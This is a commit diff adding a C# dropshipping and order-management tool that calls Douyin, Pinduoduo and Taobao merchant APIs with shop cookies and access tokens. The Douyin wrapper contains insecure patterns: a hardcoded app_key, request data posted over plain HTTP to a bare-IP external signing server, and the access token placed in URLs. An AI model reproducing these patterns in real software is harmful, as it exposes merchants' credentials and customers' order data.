29Wx状态初始化

This commit is contained in:
wule committed 2026-06-11 15:17:50 +08:00
1 parent 9fd5579fcd
commit 40c702883c
322 files changed
+155553

No files matched your search

+214
View File
@@ -0,0 +1,214 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props" Condition="Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props')" />
<Import Project="..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props" Condition="Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props')" />
<Import Project="..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props" Condition="Exists('..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props')" />
<Import Project="..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props" Condition="Exists('..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{1AD45D66-6872-4522-ACF0-04E2C0514048}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Work</RootNamespace>
<AssemblyName>29WxOrderWork</AssemblyName>
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
<DebugSymbols>true</DebugSymbols>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<DebugType>full</DebugType>
<PlatformTarget>x86</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
<OutputPath>..\bin\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<Optimize>true</Optimize>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x86</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<ItemGroup>
<Reference Include="DevComponents.DotNetBar2, Version=14.0.0.3, Culture=neutral, PublicKeyToken=c39c3242a43eee2b, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>DLL\DevComponents.DotNetBar2.dll</HintPath>
</Reference>
<Reference Include="NaiBa.CefHelper">
<HintPath>..\DllReference\NaiBa.CefHelper.dll</HintPath>
</Reference>
<Reference Include="NaiBa.Util, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\DllReference\NaiBa.Util.dll</HintPath>
</Reference>
<Reference Include="Newtonsoft.Json, Version=6.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\DllReference\Newtonsoft.Json.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="AddressSetIni.cs" />
<Compile Include="Api\DouYinApi.cs" />
<Compile Include="Api\JumpUpProductNew.cs" />
<Compile Include="AutoConfirmExpress.cs" />
<Compile Include="Base64ChangeImgUrl.cs" />
<Compile Include="BaseForms\BaseForm.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="BaseForms\BaseForm.Designer.cs">
<DependentUpon>BaseForm.cs</DependentUpon>
</Compile>
<Compile Include="BaseForms\BaseMsgForm.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="BaseForms\BaseMsgForm.Designer.cs">
<DependentUpon>BaseMsgForm.cs</DependentUpon>
</Compile>
<Compile Include="BoundJs.cs" />
<Compile Include="BuyUsers\ALBuyUser.cs" />
<Compile Include="BuyUsers\CookieVisitor.cs" />
<Compile Include="BuyUsers\PddBuyUser.cs" />
<Compile Include="BuyUsers\TaoBaoBuyUser.cs" />
<Compile Include="CheckHecker.cs" />
<Compile Include="Class1.cs" />
<Compile Include="CollectionClass.cs" />
<Compile Include="GetPostTaobaoHtml.cs" />
<Compile Include="DouYinHttpWebRequest.cs" />
<Compile Include="Helper\CEFHelper.cs" />
<Compile Include="Helper\Win32.cs" />
<Compile Include="Helper\WindowStyle.cs" />
<Compile Include="ImgConvertToIcon.cs" />
<Compile Include="Initialization.cs" />
<Compile Include="Model\BaseModel.cs" />
<Compile Include="Model\ExpressBase.cs" />
<Compile Include="MulitServicerSet.cs" />
<Compile Include="PayGroupOrder.cs" />
<Compile Include="PinduoduoApiGetProduct.cs" />
<Compile Include="PinduoduoProductCollect.cs" />
<Compile Include="Pinduoduo\DataOpenSSL.cs" />
<Compile Include="Pinduoduo\PddProductDetail.cs" />
<Compile Include="ProductDtailBase.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="ProvinceBase.cs" />
<Compile Include="SearchSame\ProductInfo.cs" />
<Compile Include="ShopChatBase.cs" />
<Compile Include="TaobaoMobileCollect.cs" />
<Compile Include="Taobao\TbHttpReauest.cs" />
<Compile Include="Tips\TokenForm.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Tips\TokenForm.designer.cs">
<DependentUpon>TokenForm.cs</DependentUpon>
</Compile>
<Compile Include="UserLogin.cs" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\AllBase\29WxOrderAllBase.csproj">
<Project>{6461d807-b1c8-45f0-b388-e0ca1a418de0}</Project>
<Name>29WxOrderAllBase</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<Content Include="DLL\DevComponents.DotNetBar2.dll" />
<Content Include="Resources\BaseMsgErr.png" />
<Content Include="Resources\BaseMsgInfo.png" />
<Content Include="Resources\BaseMsgQue.png" />
<Content Include="Resources\btncheckoff1.png" />
<Content Include="Resources\btncheckon1.png" />
<Content Include="Resources\close.hover.png" />
<Content Include="Resources\close.png" />
<None Include="app.config" />
<None Include="packages.config" />
<None Include="Resources\icon.ico" />
<Content Include="Resources\max.hover.png" />
<Content Include="Resources\max.png" />
<Content Include="Resources\min.hover.png" />
<Content Include="Resources\min.png" />
<Content Include="Resources\normal.hover.png" />
<Content Include="Resources\normal.png" />
<Content Include="Resources\x-2.0.png" />
<Content Include="Resources\x-2.1.png" />
<Content Include="Resources\x-3.0.png" />
<Content Include="Resources\x-3.1.png" />
<Content Include="Resources\x-4.0.png" />
<Content Include="Resources\x-4.1.png" />
<Content Include="Resources\x-5.0.png" />
<Content Include="Resources\x-5.1.png" />
<Content Include="Resources\x-6.0.png" />
<Content Include="Resources\x-6.1.png" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="BaseForms\BaseForm.resx">
<DependentUpon>BaseForm.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="BaseForms\BaseMsgForm.resx">
<DependentUpon>BaseMsgForm.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
</EmbeddedResource>
<EmbeddedResource Include="Tips\TokenForm.resx">
<DependentUpon>TokenForm.cs</DependentUpon>
</EmbeddedResource>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props'))" />
<Error Condition="!Exists('..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props'))" />
<Error Condition="!Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props'))" />
<Error Condition="!Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets'))" />
<Error Condition="!Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props'))" />
<Error Condition="!Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets'))" />
</Target>
<Import Project="..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets" Condition="Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets')" />
<Import Project="..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets" Condition="Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets')" />
</Project>
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<ProjectView>ShowAllFiles</ProjectView>
</PropertyGroup>
</Project>
+47
View File
@@ -0,0 +1,47 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using AllBase;
namespace Work
{
public class AddressSetIni
{
public static Dictionary<int, List<AddressBase>> Addresses = new Dictionary<int, List<AddressBase>>();
public static List<AddressBase> AddressList = new List<AddressBase>();
public void Ini()
{
string file = FileBase.ReadAllText("taobao_address.tjm", Encoding.UTF8);
if (string.IsNullOrEmpty(file))
{
MessageBox.Show("初始化淘宝地址信息错误,请检查网络", "提示");
return;
}
var m = BaseRegex.GetMatchRegex(ref file, @"\[""([\d]+)"",\[""([^""]+?)"",""[^""]+?""\],""([\d]+)""");
for (int i = 0; i < m.Count; i++)
{
AddressBase a = new AddressBase();
a.Id = int.Parse(m[i].Groups[1].Value);
a.Name = m[i].Groups[2].Value;
a.UpId = int.Parse(m[i].Groups[3].Value);
AddressList.Add(a);
if (!Addresses.ContainsKey(a.Id))
Addresses.Add(a.Id, new List<AddressBase>());
if (!Addresses.ContainsKey(a.UpId))
Addresses.Add(a.UpId, new List<AddressBase>());
Addresses[a.UpId].Add(a);
}
}
}
public class AddressBase
{
public int Id = 0;
public string Name = "";
public int UpId = 0;
//public Dictionary<int, AddressBase> Address = new Dictionary<int, AddressBase>();
}
}
+320
View File
@@ -0,0 +1,320 @@
using AllBase;
using AllBase.Model.Result;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.Api
{
public class DouyinApi
{
public Dictionary<string, string> Data = new Dictionary<string, string>();
public Dictionary<string, string> JsonData = new Dictionary<string, string>();
public DouShopLoginInfo Shop = null;
public string Type, Name;
public string path = "";
public static string Gate = "https://openapi-fxg.jinritemai.com/";
public DouyinApi(DouShopLoginInfo shop)
{
Shop = shop;
}
public string GetDataDouyin()
{
return "";
}
/// <summary>
/// 订单备注
/// </summary>
/// <returns></returns>
public string AddOrderRemark()
{
path = "/order/addOrderRemark";
Type = "order.addOrderRemark";
string html = GetData();
return html;
}
/// <summary>
/// 售后
/// </summary>
/// <returns></returns>
public string GetAfterSaleOrder()
{
path = "/afterSale/List";
Type = "afterSale.List";
string html = GetData();
return html;
}
/// <summary>
/// 脱敏
/// </summary>
/// <returns></returns>
public string GetOrderbatchSensitive()
{
path = "/order/batchSensitive";
Type = "order.batchSensitive";
string html = GetData();
return html;
}
public string GetOrderBatchDecrypt()
{
path = "/order/batchDecrypt";
Type = "order.batchDecrypt";
string html = GetData();
return html;
}
public string GetOrderList()
{
path = "/order/searchList";
Type = "order.searchList";
string html = GetData();
return html;
}
public string GetOrderDetail()
{
path = "/order/orderDetail";
Type = "order.orderDetail";
string html = GetData();
return html;
}
/// <summary>
/// 读取售后详情
/// </summary>
/// <returns></returns>
public string GetAfterSaleDetail()
{
path = "/afterSale/Detail";
Type = "afterSale.Detail";
string html = GetData();
return html;
}
public string GetShopBrandList()
{
path = "/shop/brandList";
Type = "shop.brandList";
string html = GetData();
return html;
}
public string GetOrderLogisticsCompanyList()
{
path = "/order/logisticsCompanyList";
Type = "order.logisticsCompanyList";
string html = GetData();
return html;
}
public string GetAddressProvince()
{
path = "/address/getProvince";
Type = "address.getProvince";
string html = GetData();
return html;
}
public string GetAreasByProvince(string province_id)
{
path = "/address/getAreasByProvince";
Type = "address.getAreasByProvince";
JsonData["province_id"] = province_id;
string html = GetData();
return html;
}
public string AfterSaleOperate()
{
path = "/afterSale/operate";
Type = "afterSale.operate";
string html = GetData();
return html;
}
/// <summary>
/// 物流发货
/// </summary>
/// <returns></returns>
public string OrderLogisticsAdd()
{
path = "/order/logisticsAdd";
Type = "order.logisticsAdd";
string html = GetData();
return html;
}
public string CreateOrder()
{
path = "/logistics/newCreateOrder";
Type = "logistics.newCreateOrder";
string html = GetData();
return html;
}
public string GetDataJson()
{
StringBuilder stringBuilder = new StringBuilder();
foreach (string current in JsonData.Keys)
{
if (JsonData[current].ToString().Contains("{"))
{
stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\"{0}\":{1}" : "\"{0}\":{1}", current, JsonData[current].ToString());
}
else
{
stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, JsonData[current].ToString());
}
}
string json = "{" + stringBuilder.ToString() + "}";
return json;
}
public string GetDataSignPara()
{
StringBuilder stringBuilderData = new StringBuilder();
foreach (string current in Data.Keys)
{
if (Data[current] == null)
{
break;
}
if (current == "access_token" || current == "sign" || current == "param_json") {
continue;
}
stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, Data[current].ToString());
}
string param = "{" + stringBuilderData.ToString() + "}";
return param;
}
public string GetDataFxgPara()
{
StringBuilder stringBuilderData = new StringBuilder();
foreach (string current in Data.Keys)
{
if (Data[current] == null)
{
break;
}
stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? "&{0}={1}" : "{0}={1}", current, Data[current].ToString());
}
string param = stringBuilderData.ToString();
return param;
}
//public string GetData()
//{
// #region 获取接口数据
// string json = GetDataJson();
// string timestamp =BaseClass.DateTimeToTimestampSeconds(DateTime.Now).ToString();
// //json = HttpUtility.UrlEncode(json, Encoding.UTF8);
// #endregion
// int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent;
// string time1 = UserLogin.Encryptionxx(time);
// #region 获取sign
// string param_json = JsonConvert.SerializeObject(JsonData);
// Data["method"] = Type;
// Data["path"] = path;
// Data["param_json"] = HttpUtility.UrlEncode(param_json, Encoding.UTF8);
// Data["shop_name"] = Shop.ShopName;
// Data["time"] = time.ToString();
// Data["code"] =time1;
// #endregion
// #region 提交抖店
// string fxgPara = GetDataFxgPara();
// string urlx = BaseClass.ApiUrl + "/doudian-api.php";
// string datax = fxgPara;
// string htmlx = GetHtml.PostUtf8(urlx, datax);
// return htmlx;
// #endregion
//}
public string GetData()
{
#region 获取接口数据
string json = GetHtml.UrlEncodeUtf8(GetDataJson());
// string timestamp = BaseClass.DateTimeToTimestampSeconds(DateTime.Now).ToString();
//json = HttpUtility.UrlEncode(json, Encoding.UTF8);
#endregion
int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent;
string time1 = UserLogin.Encryptionxx(time);
#region 获取sign
string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
Data["app_key"] = "7016502755254683171"; //Shop.AppKey;
Data["timestamp"] = timestamp;
Data["method"] = Type;
Data["v"] = "2";
string param = GetHtml.UrlEncodeUtf8(GetDataSignPara());
string url = "http://103.90.155.35:54"+(new Random().Next(10,20))+ "/sign.php?act=signature";
//string url = BaseClass.DouYinBuildObjString("sign&act=signature");
string data = UserLogin.GetSignaturex() + "&param_json="+ json + ""
+ "&params=" + param + "&service=2";
string html = GetHtml.PostUtf8(url, data);
string sign = BaseRegex.GetStringJson(ref html, "sign");
#endregion
#region 提交抖店
Data["param_json"] =json;
Data["access_token"] = Shop.AccessToken;
Data["sign"] = sign;
string fxgPara = GetDataFxgPara();
string urlx = "https://openapi-fxg.jinritemai.com/" + Type.Replace(".", "/") + "?app_key=7016502755254683171&timestamp=" + timestamp+ "&method=" + Type + "&v=2&param_json=" + json + "&access_token=" + Shop.AccessToken + "&sign=" + sign;
string datax = fxgPara;
string htmlx = GetHtml.PostUtf8(urlx, datax);
return htmlx;
#endregion
}
public string GetGuanFangData(string types)
{
#region 获取接口数据
string json = GetDataJson();
json = HttpUtility.UrlEncode(json, Encoding.UTF8);
#endregion
#region 获取sign
string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
Data["app_key"] = "7016502755254683171";//Shop.AppKey;
Data["timestamp"] = timestamp;
Data["method"] = types;
Data["v"] = "2";
string param = GetDataSignPara();
string url = BaseClass.DouYinBuildObjString("sign&act=signature");
string data = UserLogin.GetSignaturex() + "&param_json=" + "" + json + ""
+ "&params=" + param + "&service=2";
string html = GetHtml.PostUtf8("http://192.168.8.191:82/index.php?obj=douyin/sign&act=signature", data);
string sign = BaseRegex.GetStringJson(ref html, "sign");
#endregion
#region 提交抖店
Data["param_json"] = json;
Data["access_token"] = Shop.AccessToken;
Data["sign"] = sign;
string fxgPara = GetDataFxgPara();
string urlx = "https://openapi-fxg.jinritemai.com/" + types.Replace(".", "/")+ "?app_key=7016502755254683171&timestamp=" + timestamp+ "&method="+types+ "&v=2&param_json" + json+ "&access_token=" + Shop.AccessToken+ "&sign="+ sign;
string datax = fxgPara;
string htmlx = GetHtml.PostUtf8(urlx, datax);
return htmlx;
#endregion
}
}
public class setModel{
public string method { get; set; }
public string path { get; set; }
public string param_json { get; set; }
public string token { get; set; }
public string shop_name { get; set; }
public string time { get; set; }
public string code { get; set; }
}
}
+734
View File
@@ -0,0 +1,734 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using AllBase;
namespace Work.Api
{
public class JumpUpProductNew
{
public static Dictionary<int, Dictionary<char, char>> ShouZhangXinTb = new Dictionary<int, Dictionary<char, char>>();
public static Dictionary<int, Dictionary<char, char>> ShouZhangXinPdd = new Dictionary<int, Dictionary<char, char>>();
public UpShopIdBase UpId = new UpShopIdBase();
public ShopChatBase Shop = null;
public string Good_Sn = "";
public string Html = "";
public string OutGoodId = "";
public JumpUpProductNew(ShopChatBase shop)
{
Shop = shop;
}
public JumpUpProductNew()
{
}
public void GetUrl(string url)
{
string pidCode = "", idx = "";
UpId.SiteId = 2;
string cookies = BaseClass.ChromeCookies;
int maillId = BaseClass.MallId;
if (Shop != null)
{
cookies = Shop.Cookies;
maillId = Shop.MallId;
}
if (!string.IsNullOrEmpty(Shop.ExpireTime) && Convert.ToDateTime(Shop.ExpireTime) < BaseClass.GetServerTimeString().Date)
{
UpId.Message = "店铺授权过期";
return;
}
long proId = 0;
if (!string.IsNullOrEmpty(OutGoodId) && (OutGoodId.Contains("PBB") || OutGoodId.Contains("TJM") || OutGoodId.Contains("TJH")))
{
pidCode = OutGoodId;
goto End;
}
if (!string.IsNullOrEmpty(url))
{
string id = BaseRegex.GetMatchRegexString(url, @"([\d]{5,15})");
string pid = "0";
if (string.IsNullOrEmpty(id))
{
UpId.Message = "没有找到拼多多ID";
return;
}
proId = long.Parse(id);
if (UpShopIdFromServer.UpIds.ContainsKey(proId))
{
UpId = UpShopIdFromServer.UpIds[proId];
UpId.GetOk = true;
return;
}
if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:"))
{
string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail";
string data = "{\"goods_id\":\"" + id + "\"}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/", true, data,
cookies);
pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn");
if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
goto End;
}
if (GetServerId(proId, out idx))
{
DeCode(idx);
return;
}
if (string.IsNullOrEmpty(pidCode) || pidCode.Contains("wait:"))
{
string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string data = "{\"order_by\":\"id:desc\",\"goods_id\":\"" + id + "\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/Pdd.html", true, data,
cookies);
pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn");
if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
goto End;
}
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string date = "{\"sort_by\":\"id\",\"sort_type\":\"DESC\",\"goods_id\":\"" + id +
"\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date,
cookies);
//url = "https://mms.pinduoduo.com/malls/" + maillId + "/goodsList?sort_by=id&sort_type=DESC&goods_id=" + id + "&size=15&page=1";
// html = GetPostTaobaoHtml.UploadTaobao(url, "https://mms.pinduoduo.com/Pdd.html", true, cookies);
Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn");
if (string.IsNullOrEmpty(Good_Sn)) //没有上家
{
Thread.Sleep(5 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date,
cookies);
Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn");
}
if (string.IsNullOrEmpty(Good_Sn)) //没有上家
{
Thread.Sleep(20 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date,
cookies);
if (!string.IsNullOrEmpty(html))
{
Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn");
}
}
if (string.IsNullOrEmpty(Good_Sn)) //没有上家
{
//message = "查询无数据";
UpId.Message = "未查询到产品id,请点选正确的店铺";
//AddToTemp(proId);
return;
}
}
#region 防止获取不到产品Id
//李尹添加
//if (string.IsNullOrEmpty(pidCode))
//{
// //获取包含✅的上传记录
// long idUp = proId;
// string urlUp = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list";
// string referex = "https://mms.pinduoduo.com/goods/goods_record";
// string datax = "{\"check_status\":2,\"start\":0,\"length\":10,\"goods_id\":" + idUp + "}";
// //第一页匹配结果
// string htmlUp = GetPostTaobaoHtml.UploadTaobaoPost(urlUp, referex, true, datax, cookies);
// int allCount = BaseRegex.GetIntJson(ref htmlUp, "total");
// int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
// long editId = 0;
// for (int j = 1; j <= page; j++)
// {
// if (editId > 0)
// {
// break;
// }
// if (j != 1)
// {
// datax = "{\"check_status\":2,\"start\":" + (j - 1) * 10 + ",\"length\":10,\"goods_id\":" + idUp + "}";
// htmlUp = GetPostTaobaoHtml.GetJsonPost(urlUp, referex, true, datax, cookies);
// }
// var m = BaseRegex.GetMatchRegex(ref htmlUp, @"\{([\w\W]+?)\}");
// for (int k = 0; m != null && k < m.Count; k++)
// {
// string list = m[k].Groups[0].Value;
// string goods_name = BaseRegex.GetStringJson(ref list, "goods_name");
// if (string.IsNullOrEmpty(goods_name) || goods_name.Contains("✅"))
// {
// editId = BaseRegex.GetLongJson(ref list, "id");
// break;
// }
// }
// }
// string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/" + editId;
// string htmlx = GetPostTaobaoHtml.UploadTaobao(urlx, "https://mms.pinduoduo.com/goods/goods_add/index?id=" + editId + "&type=edit", true, cookies);
// pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn");
// if (!string.IsNullOrEmpty(pidCode))
// goto End;
//}
#endregion
url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail";
Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true,
"{\"goods_sn\":\"" + Good_Sn + "\"}", cookies);
if (!string.IsNullOrEmpty(Html) && Html.Contains("过于频繁"))
{
Thread.Sleep(30 * 1000);
Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true,
"{\"goods_sn\":\"" + Good_Sn + "\"}", cookies);
}
if (!string.IsNullOrEmpty(Html) && Html.Contains("过于频繁"))
{
Thread.Sleep(90 * 1000);
Html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true,
"{\"goods_sn\":\"" + Good_Sn + "\"}", cookies);
}
pidCode = BaseRegex.GetStringJson(ref Html, @"out_goods_sn");
if (string.IsNullOrEmpty(pidCode) && !string.IsNullOrEmpty(OutGoodId)) //没有上家
{
pidCode = OutGoodId;
//Html = new PinduoduoApiGetProduct(Shop).GetProduct(proId);
//var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)""");
//if (m != null && m.Count > 0)
// pidCode = m[m.Count - 1].Groups[1].Value;
//if (!string.IsNullOrEmpty(pidCode))
goto End;
}
//if (string.IsNullOrEmpty(pidCode)) //没有上家
//{
// Html = new PinduoduoApiGetProduct(Shop).GetProductInfor(proId);
// var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)""");
// if (m != null && m.Count > 0)
// pidCode = m[m.Count - 1].Groups[1].Value;
// if (!string.IsNullOrEmpty(pidCode))
// goto End;
//}
End:
if (string.IsNullOrEmpty(pidCode))
pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(TJM_[a-z0-9=+/]+?)"",""");
if (string.IsNullOrEmpty(pidCode))
pidCode = BaseRegex.GetMatchRegexString(ref Html, @"(JM_[a-z0-9]+?)"",""");
if (string.IsNullOrEmpty(pidCode))
pidCode = BaseRegex.GetMatchRegexString(ref Html, @"[\D]([a-z0-9=+/]+?=)"",""");
if (!string.IsNullOrEmpty(pidCode))
{
string pidCodex = BaseRegex.GetMatchRegexString(ref pidCode, @"([\d]{6,15})"); //未加密
if (!string.IsNullOrEmpty(pidCodex))
{
long upid = long.Parse(pidCodex);
if (upid < 999999999l)
UpId.SiteIdFrom = 2;
else
UpId.SiteIdFrom = 1;
if (pidCode.StartsWith("tb-"))
UpId.SiteIdFrom = 1;
if (pidCode.StartsWith("pdd-") || pidCode.StartsWith("pd-"))
UpId.SiteIdFrom = 2;
if (pidCode.StartsWith("al-") || pidCode.StartsWith("albb-") || pidCode.StartsWith("1688-"))
UpId.SiteIdFrom = 3;
UpId.GetOk = true;
UpId.ProductIdFrom = upid;
AddToTemp(proId);
return;
}
}
if (string.IsNullOrEmpty(pidCode))
{
UpId.Message = "未找到加密密钥";
AddToTemp(proId);
return;
}
if (pidCode.Contains("TJM_"))
{
if (!string.IsNullOrEmpty(pidCode) && pidCode.Contains("|"))
pidCode = pidCode.Substring(0, pidCode.IndexOf("|"));
try
{
byte[] inArray = Convert.FromBase64String(pidCode.Replace("TJM_", ""));
idx = Encoding.UTF8.GetString(inArray);
DeCode(idx);
return;
}
catch
{
UpId.Message = "解密异常,请联系管理员";
}
AddToTemp(proId);
return;
}
